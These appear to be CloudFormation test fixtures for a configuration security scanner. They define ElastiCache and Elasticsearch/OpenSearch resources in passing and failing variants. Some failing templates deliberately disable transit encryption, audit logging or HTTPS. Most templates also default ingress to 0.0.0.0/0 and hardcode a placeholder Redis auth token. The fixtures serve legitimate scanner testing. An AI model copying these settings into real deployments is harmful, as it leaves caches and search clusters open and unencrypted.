Type: String Default: Example replication group VpcId: Description: The VPC to create this ReplicationGroup under Type: 'AWS::EC2::VPC::Id' CidrIp: Description: The CIDR you want to access to the Replication Group Type: String Default: 0.0.0.0/0 AllowedPattern: '(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})/(\d{1,2})' MinLength: '9' MaxLength: '18' ConstraintDescription: must be a valid IP CIDR range of the form x.x.x.x/x SnapshotRetentionLimit: Description: >- The number of days that ElastiCache retains automatic snapshots before deleting them. Type: Number Default: '7' SnapshotWindow: Description: >- The time range (in UTC) when ElastiCache takes a daily snapshot of your node group. Type: String Default: '05:00-09:00' AllowedPattern: '\d{2}:\d{2}-\d{2}:\d{2}' ConstraintDescription: 'must be a valid timestamp range, for example 05:00-09:00' PreferredMaintenanceWindow: Description: >- The weekly time range during which system maintenance can occur. Use the following format to specify a time range: ddd:hh24:mi-ddd:hh24:mi (24H Clock UTC). Type: String Default: 'sun:22:00-sun:23:30' AllowedPattern: >- (mon|tue|wed|thu|fri|sat|sun):\d{2}:\d{2}-(mon|tue|wed|thu|fri|sat|sun):\d{2}:\d{2} ConstraintDescription: >- must be a valid timestamp range with day of week, for example sun:22:00-sun:23:30 SubnetA: Description: >- One of the subnets you would like the ReplicationGroup to be created in. In this example we only accept 2 subnets Type: 'AWS::EC2::Subnet::Id' SubnetB: Description: >- One of the subnets you would like the ReplicationGroup to be created in. In this example we only accept 2 subnets Type: 'AWS::EC2::Subnet::Id' Resources: SecurityGroup: Type: 'AWS::EC2::SecurityGroup' Properties: GroupDescription: Security Group for Example Replication Group SecurityGroupIngress: - Description: Redis Traffic CidrIp: !Ref CidrIp FromPort: !Ref RedisPort ToPort: !Ref RedisPort IpProtocol: tcp VpcId: !Ref VpcId SubnetGroup: Type: 'AWS::ElastiCache::SubnetGroup' Properties: Description: Subnet Group for Example Replication Group SubnetIds: - !Ref SubnetA - !Ref SubnetB ReplicationGroup: Type: 'AWS::ElastiCache::ReplicationGroup' Properties: AuthToken: 'MySecret!AuthToken$' AutomaticFailoverEnabled: !Ref MultiAZSupport AtRestEncryptionEnabled: True #AtRestEncryptionEnabled: False # Optional parameter CacheNodeType: !Ref CacheNodeType CacheSubnetGroupName: !Ref SubnetGroup Engine: redis NumCacheClusters: !Ref NumCacheClusters Port: !Ref RedisPort PreferredMaintenanceWindow: !Ref PreferredMaintenanceWindow ReplicationGroupDescription: !Ref ReplicationGroupDescription SecurityGroupIds: - !GetAtt - SecurityGroup - GroupId SnapshotRetentionLimit: !Ref SnapshotRetentionLimit SnapshotWindow: !Ref SnapshotWindow TransitEncryptionEnabled: False #TransitEncryptionEnabled: True Outputs: RGEndpoint: Description: The primary endpoint location Value: !Join - '' - - 'redis://' - !GetAtt - ReplicationGroup - PrimaryEndPoint.Address - ':' - !GetAtt - ReplicationGroup - PrimaryEndPoint.Port ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ElasticacheReplicationGroupEncryptionAtTransit/ElasticacheReplicationGroupEncryptionAtTransit-PASSED.yaml ================================================ AWSTemplateFormatVersion: 2010-09-09 Description: >- An example template that stands up an ElastiCache Replication Group Multi-AZ in a particular VPC specifying then a Subnet Group and a Security Group, VpcId is not directly referenced by the Replication Group resource, and is instead inferred by the Security Group and Subnet Group. Parameters: CacheNodeType: Description: The instance type the nodes will launch under. Type: String Default: cache.m3.medium AllowedValues: - cache.t2.micro - cache.t2.small - cache.t2.medium - cache.m3.medium - cache.m3.large - cache.m3.xlarge - cache.m3.2xlarge - cache.r3.large - cache.r3.xlarge - cache.r3.2xlarge - cache.r3.4xlarge - cache.r3.8xlarge MultiAZSupport: Description: >- Indicates whether Multi-AZ is enabled. When Multi-AZ is enabled, a read-only replica is automatically promoted to a read-write primary cluster if the existing primary cluster fails. If you specify true, you must specify a value greater than 1 for the NumCacheClusters property. Type: String Default: 'true' AllowedValues: - 'true' - 'false' NumCacheClusters: Description: >- The number of cache clusters for this replication group. If MultiAZ support is enabled, you must specify a value greater than 1. Default: '2' Type: Number MinValue: '1' MaxValue: '6' RedisPort: Description: >- The port number on which each member of the replication group accepts connections. Type: Number Default: '6379' MinValue: '1' MaxValue: '65535' ReplicationGroupDescription: Description: The description of the replication group. Type: String Default: Example replication group VpcId: Description: The VPC to create this ReplicationGroup under Type: 'AWS::EC2::VPC::Id' CidrIp: Description: The CIDR you want to access to the Replication Group Type: String Default: 0.0.0.0/0 AllowedPattern: '(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})/(\d{1,2})' MinLength: '9' MaxLength: '18' ConstraintDescription: must be a valid IP CIDR range of the form x.x.x.x/x SnapshotRetentionLimit: Description: >- The number of days that ElastiCache retains automatic snapshots before deleting them. Type: Number Default: '7' SnapshotWindow: Description: >- The time range (in UTC) when ElastiCache takes a daily snapshot of your node group. Type: String Default: '05:00-09:00' AllowedPattern: '\d{2}:\d{2}-\d{2}:\d{2}' ConstraintDescription: 'must be a valid timestamp range, for example 05:00-09:00' PreferredMaintenanceWindow: Description: >- The weekly time range during which system maintenance can occur. Use the following format to specify a time range: ddd:hh24:mi-ddd:hh24:mi (24H Clock UTC). Type: String Default: 'sun:22:00-sun:23:30' AllowedPattern: >- (mon|tue|wed|thu|fri|sat|sun):\d{2}:\d{2}-(mon|tue|wed|thu|fri|sat|sun):\d{2}:\d{2} ConstraintDescription: >- must be a valid timestamp range with day of week, for example sun:22:00-sun:23:30 SubnetA: Description: >- One of the subnets you would like the ReplicationGroup to be created in. In this example we only accept 2 subnets Type: 'AWS::EC2::Subnet::Id' SubnetB: Description: >- One of the subnets you would like the ReplicationGroup to be created in. In this example we only accept 2 subnets Type: 'AWS::EC2::Subnet::Id' Resources: SecurityGroup: Type: 'AWS::EC2::SecurityGroup' Properties: GroupDescription: Security Group for Example Replication Group SecurityGroupIngress: - Description: Redis Traffic CidrIp: !Ref CidrIp FromPort: !Ref RedisPort ToPort: !Ref RedisPort IpProtocol: tcp VpcId: !Ref VpcId SubnetGroup: Type: 'AWS::ElastiCache::SubnetGroup' Properties: Description: Subnet Group for Example Replication Group SubnetIds: - !Ref SubnetA - !Ref SubnetB ReplicationGroup: Type: 'AWS::ElastiCache::ReplicationGroup' Properties: AuthToken: 'MySecret!AuthToken$' AutomaticFailoverEnabled: !Ref MultiAZSupport AtRestEncryptionEnabled: True #AtRestEncryptionEnabled: False # Optional parameter CacheNodeType: !Ref CacheNodeType CacheSubnetGroupName: !Ref SubnetGroup Engine: redis NumCacheClusters: !Ref NumCacheClusters Port: !Ref RedisPort PreferredMaintenanceWindow: !Ref PreferredMaintenanceWindow ReplicationGroupDescription: !Ref ReplicationGroupDescription SecurityGroupIds: - !GetAtt - SecurityGroup - GroupId SnapshotRetentionLimit: !Ref SnapshotRetentionLimit SnapshotWindow: !Ref SnapshotWindow #TransitEncryptionEnabled: False TransitEncryptionEnabled: True Outputs: RGEndpoint: Description: The primary endpoint location Value: !Join - '' - - 'redis://' - !GetAtt - ReplicationGroup - PrimaryEndPoint.Address - ':' - !GetAtt - ReplicationGroup - PrimaryEndPoint.Port ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ElasticacheReplicationGroupEncryptionAtTransitAuthToken/ElasticacheReplicationGroupEncryptionAtTransitAuthToken-FAILED.yaml ================================================ AWSTemplateFormatVersion: 2010-09-09 Description: >- An example template that stands up an ElastiCache Replication Group Multi-AZ in a particular VPC specifying then a Subnet Group and a Security Group, VpcId is not directly referenced by the Replication Group resource, and is instead inferred by the Security Group and Subnet Group. Parameters: CacheNodeType: Description: The instance type the nodes will launch under. Type: String Default: cache.m3.medium AllowedValues: - cache.t2.micro - cache.t2.small - cache.t2.medium - cache.m3.medium - cache.m3.large - cache.m3.xlarge - cache.m3.2xlarge - cache.r3.large - cache.r3.xlarge - cache.r3.2xlarge - cache.r3.4xlarge - cache.r3.8xlarge MultiAZSupport: Description: >- Indicates whether Multi-AZ is enabled. When Multi-AZ is enabled, a read-only replica is automatically promoted to a read-write primary cluster if the existing primary cluster fails. If you specify true, you must specify a value greater than 1 for the NumCacheClusters property. Type: String Default: 'true' AllowedValues: - 'true' - 'false' NumCacheClusters: Description: >- The number of cache clusters for this replication group. If MultiAZ support is enabled, you must specify a value greater than 1. Default: '2' Type: Number MinValue: '1' MaxValue: '6' RedisPort: Description: >- The port number on which each member of the replication group accepts connections. Type: Number Default: '6379' MinValue: '1' MaxValue: '65535' ReplicationGroupDescription: Description: The description of the replication group. Type: String Default: Example replication group VpcId: Description: The VPC to create this ReplicationGroup under Type: 'AWS::EC2::VPC::Id' CidrIp: Description: The CIDR you want to access to the Replication Group Type: String Default: 0.0.0.0/0 AllowedPattern: '(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})/(\d{1,2})' MinLength: '9' MaxLength: '18' ConstraintDescription: must be a valid IP CIDR range of the form x.x.x.x/x SnapshotRetentionLimit: Description: >- The number of days that ElastiCache retains automatic snapshots before deleting them. Type: Number Default: '7' SnapshotWindow: Description: >- The time range (in UTC) when ElastiCache takes a daily snapshot of your node group. Type: String Default: '05:00-09:00' AllowedPattern: '\d{2}:\d{2}-\d{2}:\d{2}' ConstraintDescription: 'must be a valid timestamp range, for example 05:00-09:00' PreferredMaintenanceWindow: Description: >- The weekly time range during which system maintenance can occur. Use the following format to specify a time range: ddd:hh24:mi-ddd:hh24:mi (24H Clock UTC). Type: String Default: 'sun:22:00-sun:23:30' AllowedPattern: >- (mon|tue|wed|thu|fri|sat|sun):\d{2}:\d{2}-(mon|tue|wed|thu|fri|sat|sun):\d{2}:\d{2} ConstraintDescription: >- must be a valid timestamp range with day of week, for example sun:22:00-sun:23:30 SubnetA: Description: >- One of the subnets you would like the ReplicationGroup to be created in. In this example we only accept 2 subnets Type: 'AWS::EC2::Subnet::Id' SubnetB: Description: >- One of the subnets you would like the ReplicationGroup to be created in. In this example we only accept 2 subnets Type: 'AWS::EC2::Subnet::Id' Resources: SecurityGroup: Type: 'AWS::EC2::SecurityGroup' Properties: GroupDescription: Security Group for Example Replication Group SecurityGroupIngress: - Description: Redis Traffic CidrIp: !Ref CidrIp FromPort: !Ref RedisPort ToPort: !Ref RedisPort IpProtocol: tcp VpcId: !Ref VpcId SubnetGroup: Type: 'AWS::ElastiCache::SubnetGroup' Properties: Description: Subnet Group for Example Replication Group SubnetIds: - !Ref SubnetA - !Ref SubnetB ReplicationGroupFail: Type: 'AWS::ElastiCache::ReplicationGroup' Properties: AutomaticFailoverEnabled: !Ref MultiAZSupport AtRestEncryptionEnabled: True #AtRestEncryptionEnabled: False # Optional parameter CacheNodeType: !Ref CacheNodeType CacheSubnetGroupName: !Ref SubnetGroup Engine: redis NumCacheClusters: !Ref NumCacheClusters Port: !Ref RedisPort PreferredMaintenanceWindow: !Ref PreferredMaintenanceWindow ReplicationGroupDescription: !Ref ReplicationGroupDescription SecurityGroupIds: - !GetAtt - SecurityGroup - GroupId SnapshotRetentionLimit: !Ref SnapshotRetentionLimit SnapshotWindow: !Ref SnapshotWindow #TransitEncryptionEnabled: False TransitEncryptionEnabled: True ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ElasticacheReplicationGroupEncryptionAtTransitAuthToken/ElasticacheReplicationGroupEncryptionAtTransitAuthToken-FAILED2.yaml ================================================ AWSTemplateFormatVersion: 2010-09-09 Description: >- An example template that stands up an ElastiCache Replication Group Multi-AZ in a particular VPC specifying then a Subnet Group and a Security Group, VpcId is not directly referenced by the Replication Group resource, and is instead inferred by the Security Group and Subnet Group. Parameters: CacheNodeType: Description: The instance type the nodes will launch under. Type: String Default: cache.m3.medium AllowedValues: - cache.t2.micro - cache.t2.small - cache.t2.medium - cache.m3.medium - cache.m3.large - cache.m3.xlarge - cache.m3.2xlarge - cache.r3.large - cache.r3.xlarge - cache.r3.2xlarge - cache.r3.4xlarge - cache.r3.8xlarge MultiAZSupport: Description: >- Indicates whether Multi-AZ is enabled. When Multi-AZ is enabled, a read-only replica is automatically promoted to a read-write primary cluster if the existing primary cluster fails. If you specify true, you must specify a value greater than 1 for the NumCacheClusters property. Type: String Default: 'true' AllowedValues: - 'true' - 'false' NumCacheClusters: Description: >- The number of cache clusters for this replication group. If MultiAZ support is enabled, you must specify a value greater than 1. Default: '2' Type: Number MinValue: '1' MaxValue: '6' RedisPort: Description: >- The port number on which each member of the replication group accepts connections. Type: Number Default: '6379' MinValue: '1' MaxValue: '65535' ReplicationGroupDescription: Description: The description of the replication group. Type: String Default: Example replication group VpcId: Description: The VPC to create this ReplicationGroup under Type: 'AWS::EC2::VPC::Id' CidrIp: Description: The CIDR you want to access to the Replication Group Type: String Default: 0.0.0.0/0 AllowedPattern: '(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})/(\d{1,2})' MinLength: '9' MaxLength: '18' ConstraintDescription: must be a valid IP CIDR range of the form x.x.x.x/x SnapshotRetentionLimit: Description: >- The number of days that ElastiCache retains automatic snapshots before deleting them. Type: Number Default: '7' SnapshotWindow: Description: >- The time range (in UTC) when ElastiCache takes a daily snapshot of your node group. Type: String Default: '05:00-09:00' AllowedPattern: '\d{2}:\d{2}-\d{2}:\d{2}' ConstraintDescription: 'must be a valid timestamp range, for example 05:00-09:00' PreferredMaintenanceWindow: Description: >- The weekly time range during which system maintenance can occur. Use the following format to specify a time range: ddd:hh24:mi-ddd:hh24:mi (24H Clock UTC). Type: String Default: 'sun:22:00-sun:23:30' AllowedPattern: >- (mon|tue|wed|thu|fri|sat|sun):\d{2}:\d{2}-(mon|tue|wed|thu|fri|sat|sun):\d{2}:\d{2} ConstraintDescription: >- must be a valid timestamp range with day of week, for example sun:22:00-sun:23:30 SubnetA: Description: >- One of the subnets you would like the ReplicationGroup to be created in. In this example we only accept 2 subnets Type: 'AWS::EC2::Subnet::Id' SubnetB: Description: >- One of the subnets you would like the ReplicationGroup to be created in. In this example we only accept 2 subnets Type: 'AWS::EC2::Subnet::Id' Resources: SecurityGroup: Type: 'AWS::EC2::SecurityGroup' Properties: GroupDescription: Security Group for Example Replication Group SecurityGroupIngress: - Description: Redis Traffic CidrIp: !Ref CidrIp FromPort: !Ref RedisPort ToPort: !Ref RedisPort IpProtocol: tcp VpcId: !Ref VpcId SubnetGroup: Type: 'AWS::ElastiCache::SubnetGroup' Properties: Description: Subnet Group for Example Replication Group SubnetIds: - !Ref SubnetA - !Ref SubnetB ReplicationGroupFail2: Type: 'AWS::ElastiCache::ReplicationGroup' Properties: AutomaticFailoverEnabled: !Ref MultiAZSupport AtRestEncryptionEnabled: True #AtRestEncryptionEnabled: False # Optional parameter CacheNodeType: !Ref CacheNodeType CacheSubnetGroupName: !Ref SubnetGroup Engine: redis NumCacheClusters: !Ref NumCacheClusters Port: !Ref RedisPort PreferredMaintenanceWindow: !Ref PreferredMaintenanceWindow ReplicationGroupDescription: !Ref ReplicationGroupDescription SecurityGroupIds: - !GetAtt - SecurityGroup - GroupId SnapshotRetentionLimit: !Ref SnapshotRetentionLimit SnapshotWindow: !Ref SnapshotWindow #TransitEncryptionEnabled: False TransitEncryptionEnabled: False UserGroupIds: - Example ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ElasticacheReplicationGroupEncryptionAtTransitAuthToken/ElasticacheReplicationGroupEncryptionAtTransitAuthToken-PASSED.yaml ================================================ AWSTemplateFormatVersion: 2010-09-09 Description: >- An example template that stands up an ElastiCache Replication Group Multi-AZ in a particular VPC specifying then a Subnet Group and a Security Group, VpcId is not directly referenced by the Replication Group resource, and is instead inferred by the Security Group and Subnet Group. Parameters: CacheNodeType: Description: The instance type the nodes will launch under. Type: String Default: cache.m3.medium AllowedValues: - cache.t2.micro - cache.t2.small - cache.t2.medium - cache.m3.medium - cache.m3.large - cache.m3.xlarge - cache.m3.2xlarge - cache.r3.large - cache.r3.xlarge - cache.r3.2xlarge - cache.r3.4xlarge - cache.r3.8xlarge MultiAZSupport: Description: >- Indicates whether Multi-AZ is enabled. When Multi-AZ is enabled, a read-only replica is automatically promoted to a read-write primary cluster if the existing primary cluster fails. If you specify true, you must specify a value greater than 1 for the NumCacheClusters property. Type: String Default: 'true' AllowedValues: - 'true' - 'false' NumCacheClusters: Description: >- The number of cache clusters for this replication group. If MultiAZ support is enabled, you must specify a value greater than 1. Default: '2' Type: Number MinValue: '1' MaxValue: '6' RedisPort: Description: >- The port number on which each member of the replication group accepts connections. Type: Number Default: '6379' MinValue: '1' MaxValue: '65535' ReplicationGroupDescription: Description: The description of the replication group. Type: String Default: Example replication group VpcId: Description: The VPC to create this ReplicationGroup under Type: 'AWS::EC2::VPC::Id' CidrIp: Description: The CIDR you want to access to the Replication Group Type: String Default: 0.0.0.0/0 AllowedPattern: '(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})/(\d{1,2})' MinLength: '9' MaxLength: '18' ConstraintDescription: must be a valid IP CIDR range of the form x.x.x.x/x SnapshotRetentionLimit: Description: >- The number of days that ElastiCache retains automatic snapshots before deleting them. Type: Number Default: '7' SnapshotWindow: Description: >- The time range (in UTC) when ElastiCache takes a daily snapshot of your node group. Type: String Default: '05:00-09:00' AllowedPattern: '\d{2}:\d{2}-\d{2}:\d{2}' ConstraintDescription: 'must be a valid timestamp range, for example 05:00-09:00' PreferredMaintenanceWindow: Description: >- The weekly time range during which system maintenance can occur. Use the following format to specify a time range: ddd:hh24:mi-ddd:hh24:mi (24H Clock UTC). Type: String Default: 'sun:22:00-sun:23:30' AllowedPattern: >- (mon|tue|wed|thu|fri|sat|sun):\d{2}:\d{2}-(mon|tue|wed|thu|fri|sat|sun):\d{2}:\d{2} ConstraintDescription: >- must be a valid timestamp range with day of week, for example sun:22:00-sun:23:30 SubnetA: Description: >- One of the subnets you would like the ReplicationGroup to be created in. In this example we only accept 2 subnets Type: 'AWS::EC2::Subnet::Id' SubnetB: Description: >- One of the subnets you would like the ReplicationGroup to be created in. In this example we only accept 2 subnets Type: 'AWS::EC2::Subnet::Id' Resources: SecurityGroup: Type: 'AWS::EC2::SecurityGroup' Properties: GroupDescription: Security Group for Example Replication Group SecurityGroupIngress: - Description: Redis Traffic CidrIp: !Ref CidrIp FromPort: !Ref RedisPort ToPort: !Ref RedisPort IpProtocol: tcp VpcId: !Ref VpcId SubnetGroup: Type: 'AWS::ElastiCache::SubnetGroup' Properties: Description: Subnet Group for Example Replication Group SubnetIds: - !Ref SubnetA - !Ref SubnetB ReplicationGroupPass: Type: 'AWS::ElastiCache::ReplicationGroup' Properties: AuthToken: 'MySecret!AuthToken$' AutomaticFailoverEnabled: !Ref MultiAZSupport AtRestEncryptionEnabled: True #AtRestEncryptionEnabled: False # Optional parameter CacheNodeType: !Ref CacheNodeType CacheSubnetGroupName: !Ref SubnetGroup Engine: redis NumCacheClusters: !Ref NumCacheClusters Port: !Ref RedisPort PreferredMaintenanceWindow: !Ref PreferredMaintenanceWindow ReplicationGroupDescription: !Ref ReplicationGroupDescription SecurityGroupIds: - !GetAtt - SecurityGroup - GroupId SnapshotRetentionLimit: !Ref SnapshotRetentionLimit SnapshotWindow: !Ref SnapshotWindow #TransitEncryptionEnabled: False TransitEncryptionEnabled: True ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ElasticacheReplicationGroupEncryptionAtTransitAuthToken/ElasticacheReplicationGroupEncryptionAtTransitAuthToken-PASSED2.yaml ================================================ AWSTemplateFormatVersion: 2010-09-09 Description: >- An example template that stands up an ElastiCache Replication Group Multi-AZ in a particular VPC specifying then a Subnet Group and a Security Group, VpcId is not directly referenced by the Replication Group resource, and is instead inferred by the Security Group and Subnet Group. Parameters: CacheNodeType: Description: The instance type the nodes will launch under. Type: String Default: cache.m3.medium AllowedValues: - cache.t2.micro - cache.t2.small - cache.t2.medium - cache.m3.medium - cache.m3.large - cache.m3.xlarge - cache.m3.2xlarge - cache.r3.large - cache.r3.xlarge - cache.r3.2xlarge - cache.r3.4xlarge - cache.r3.8xlarge MultiAZSupport: Description: >- Indicates whether Multi-AZ is enabled. When Multi-AZ is enabled, a read-only replica is automatically promoted to a read-write primary cluster if the existing primary cluster fails. If you specify true, you must specify a value greater than 1 for the NumCacheClusters property. Type: String Default: 'true' AllowedValues: - 'true' - 'false' NumCacheClusters: Description: >- The number of cache clusters for this replication group. If MultiAZ support is enabled, you must specify a value greater than 1. Default: '2' Type: Number MinValue: '1' MaxValue: '6' RedisPort: Description: >- The port number on which each member of the replication group accepts connections. Type: Number Default: '6379' MinValue: '1' MaxValue: '65535' ReplicationGroupDescription: Description: The description of the replication group. Type: String Default: Example replication group VpcId: Description: The VPC to create this ReplicationGroup under Type: 'AWS::EC2::VPC::Id' CidrIp: Description: The CIDR you want to access to the Replication Group Type: String Default: 0.0.0.0/0 AllowedPattern: '(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})/(\d{1,2})' MinLength: '9' MaxLength: '18' ConstraintDescription: must be a valid IP CIDR range of the form x.x.x.x/x SnapshotRetentionLimit: Description: >- The number of days that ElastiCache retains automatic snapshots before deleting them. Type: Number Default: '7' SnapshotWindow: Description: >- The time range (in UTC) when ElastiCache takes a daily snapshot of your node group. Type: String Default: '05:00-09:00' AllowedPattern: '\d{2}:\d{2}-\d{2}:\d{2}' ConstraintDescription: 'must be a valid timestamp range, for example 05:00-09:00' PreferredMaintenanceWindow: Description: >- The weekly time range during which system maintenance can occur. Use the following format to specify a time range: ddd:hh24:mi-ddd:hh24:mi (24H Clock UTC). Type: String Default: 'sun:22:00-sun:23:30' AllowedPattern: >- (mon|tue|wed|thu|fri|sat|sun):\d{2}:\d{2}-(mon|tue|wed|thu|fri|sat|sun):\d{2}:\d{2} ConstraintDescription: >- must be a valid timestamp range with day of week, for example sun:22:00-sun:23:30 SubnetA: Description: >- One of the subnets you would like the ReplicationGroup to be created in. In this example we only accept 2 subnets Type: 'AWS::EC2::Subnet::Id' SubnetB: Description: >- One of the subnets you would like the ReplicationGroup to be created in. In this example we only accept 2 subnets Type: 'AWS::EC2::Subnet::Id' Resources: SecurityGroup: Type: 'AWS::EC2::SecurityGroup' Properties: GroupDescription: Security Group for Example Replication Group SecurityGroupIngress: - Description: Redis Traffic CidrIp: !Ref CidrIp FromPort: !Ref RedisPort ToPort: !Ref RedisPort IpProtocol: tcp VpcId: !Ref VpcId SubnetGroup: Type: 'AWS::ElastiCache::SubnetGroup' Properties: Description: Subnet Group for Example Replication Group SubnetIds: - !Ref SubnetA - !Ref SubnetB ReplicationGroupPass2: Type: 'AWS::ElastiCache::ReplicationGroup' Properties: AutomaticFailoverEnabled: !Ref MultiAZSupport AtRestEncryptionEnabled: True #AtRestEncryptionEnabled: False # Optional parameter CacheNodeType: !Ref CacheNodeType CacheSubnetGroupName: !Ref SubnetGroup Engine: redis NumCacheClusters: !Ref NumCacheClusters Port: !Ref RedisPort PreferredMaintenanceWindow: !Ref PreferredMaintenanceWindow ReplicationGroupDescription: !Ref ReplicationGroupDescription SecurityGroupIds: - !GetAtt - SecurityGroup - GroupId SnapshotRetentionLimit: !Ref SnapshotRetentionLimit SnapshotWindow: !Ref SnapshotWindow #TransitEncryptionEnabled: False TransitEncryptionEnabled: True UserGroupIds: - Example ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ElasticsearchDomainAuditLogging/ElasticsearchDomainLogging-FAILED.yaml ================================================ AWSTemplateFormatVersion: 2010-09-09 Resources: Resource0: Type: 'AWS::Elasticsearch::Domain' Properties: DomainEndpointOptions: EnforceHTTPS: True LogPublishingOptions: AUDIT_LOGS: Enabled: False Resource1: Type: 'AWS::Elasticsearch::Domain' Properties: DomainEndpointOptions: EnforceHTTPS: True ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ElasticsearchDomainAuditLogging/ElasticsearchDomainLogging-PASSED.yaml ================================================ AWSTemplateFormatVersion: 2010-09-09 Resources: Resource0: Type: 'AWS::Elasticsearch::Domain' Properties: DomainEndpointOptions: EnforceHTTPS: True LogPublishingOptions: AUDIT_LOGS: Enabled: True CloudWatchLogsLogGroupArn: CloudWatchLogsLogGroupArn ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ElasticsearchDomainAuditLogging/OpensearchDomainLogging-FAILED.yaml ================================================ AWSTemplateFormatVersion: 2010-09-09 Resources: Resource0: Type: 'AWS::OpenSearchService::Domain' Properties: DomainEndpointOptions: EnforceHTTPS: True LogPublishingOptions: AUDIT_LOGS: Enabled: False Resource1: Type: 'AWS::OpenSearchService::Domain' Properties: DomainEndpointOptions: EnforceHTTPS: True ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ElasticsearchDomainAuditLogging/OpensearchDomainLogging-PASSED.yaml ================================================ AWSTemplateFormatVersion: 2010-09-09 Resources: Resource0: Type: 'AWS::OpenSearchService::Domain' Properties: DomainEndpointOptions: EnforceHTTPS: True LogPublishingOptions: AUDIT_LOGS: Enabled: True CloudWatchLogsLogGroupArn: CloudWatchLogsLogGroupArn ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ElasticsearchDomainEnforceHTTPS/ElasticsearchDomainEnforceHTTPS-FAILED.yaml ================================================ AWSTemplateFormatVersion: 2010-09-09 Resources: Resource0: Type: 'AWS::Elasticsearch::Domain' Properties: DomainEndpointOptions: EnforceHTTPS: False Resource1: Type: 'AWS::Elasticsearch::Domain' Properties: DomainEndpointOptions: TLSSecurityPolicy: "Policy-Min-TLS-1-2-2019-07" Resource2: Type: 'AWS::Elasticsearch::Domain' Properties: ElasticsearchVersion: "2.3" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ElasticsearchDomainEnforceHTTPS/ElasticsearchDomainEnforceHTTPS-PASSED.yaml ================================================ AWSTemplateFormatVersion: 2010-09-09 Resources: Resource0: Type: 'AWS::Elasticsearch::Domain' Properties: DomainEndpointOptions: EnforceHTTPS: True ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ElasticsearchDomainLogging/ElasticsearchDomainLogging-FAILED.yaml ================================================ AWSTemplateFormatVersion: 2010-09-09 Resources: Resource0: Type: 'AWS::Elasticsearch::Domain' Properties: DomainEndpointOptions: EnforceHTTPS: True LogPublishingOptions: AUDIT_LOGS: Enabled: False ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ElasticsearchDomainLogging/ElasticsearchDomainLogging-PASSED.yaml ================================================ AWSTemplateFormatVersion: 2010-09-09 Resources: Resource0: Type: 'AWS::Elasticsearch::Domain' Properties: DomainEndpointOptions: EnforceHTTPS: True LogPublishingOptions: AUDIT_LOGS: Enabled: True CloudWatchLogsLogGroupArn: CloudWatchLogsLogGroupArn ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ElasticsearchDomainLogging/OpensearchDomainLogging-FAILED.yaml ================================================ AWSTemplateFormatVersion: 2010-09-09 Resources: Resource0: Type: 'AWS::OpenSearchService::Domain' Properties: DomainEndpointOptions: EnforceHTTPS: True LogPublishingOptions: AUDIT_LOGS: Enabled: False ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ElasticsearchDomainLogging/OpensearchDomainLogging-PASSED.yaml ================================================ AWSTemplateFormatVersion: 2010-09-09 Resources: Resource0: Type: 'AWS::OpenSearchService::Domain' Properties: DomainEndpointOptions: EnforceHTTPS: True LogPublishingOptions: AUDIT_LOGS: Enabled: True CloudWatchLogsLogGroupArn: CloudWatchLogsLogGroupArn ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ElasticsearchEncryption/ElasticsearchEncryption-FAILED-2.yaml ================================================ AWSTemplateFormatVersion: 2010-09-09 Description: ElasticsearchDomain resource Parameters: DomainName: Description: User defined Elasticsearch Domain name Type: String ElasticsearchVersion: Description: User defined Elasticsearch Version Type: String InstanceType: Type: String AvailabilityZone: Type: String CidrBlock: Type: String AllowedPattern: '^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])(\/([0-9]|[1-2][0-9]|3[0-2]))$' #GroupDescription: # Type: String #SGName: # Type: String SecurityGroup: Description: Security Group for ALB Type: AWS::EC2::SecurityGroup::Id Default: sg-0123456789abcdefc Resources: ElasticsearchDomain: Type: AWS::Elasticsearch::Domain Properties: DomainName: !Ref DomainName NodeToNodeEncryptionOptions: # Enabled: False Enabled: True ElasticsearchVersion: !Ref ElasticsearchVersion ElasticsearchClusterConfig: InstanceCount: 1 InstanceType: !Ref InstanceType EBSOptions: EBSEnabled: True Iops: 0 VolumeSize: 10 VolumeType: standard SnapshotOptions: AutomatedSnapshotStartHour: 0 AccessPolicies: Version: 2012-10-17 Statement: - Effect: Deny Principal: AWS: '*' Action: 'es:*' Resource: '*' AdvancedOptions: rest.action.multi.allow_explicit_index: 'true' Tags: - Key: foo Value: bar VPCOptions: SubnetIds: - !Ref subnet SecurityGroupIds: - !Ref SecurityGroup #- !Ref mySecurityGroup vpc: Type: AWS::EC2::VPC Properties: CidrBlock: 10.0.0.0/16 subnet: Type: AWS::EC2::Subnet Properties: VpcId: !Ref vpc CidrBlock: !Ref CidrBlock AvailabilityZone: !Ref AvailabilityZone #mySecurityGroup: # Type: AWS::EC2::SecurityGroup # Properties: # GroupDescription: !Ref GroupDescription # VpcId: !Ref vpc # GroupName: !Ref SGName # SecurityGroupIngress: # - Description: 'HTTP Ingress' # FromPort: 443 # IpProtocol: tcp # ToPort: 443 # CidrIp: 0.0.0.0/0 Outputs: DomainArn: Value: !GetAtt ElasticsearchDomain.DomainArn DomainEndpoint: Value: !GetAtt ElasticsearchDomain.DomainEndpoint #SecurityGroupId: # Value: !Ref mySecurityGroup SubnetId: Value: !Ref subnet ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ElasticsearchEncryption/ElasticsearchEncryption-FAILED.yaml ================================================ AWSTemplateFormatVersion: 2010-09-09 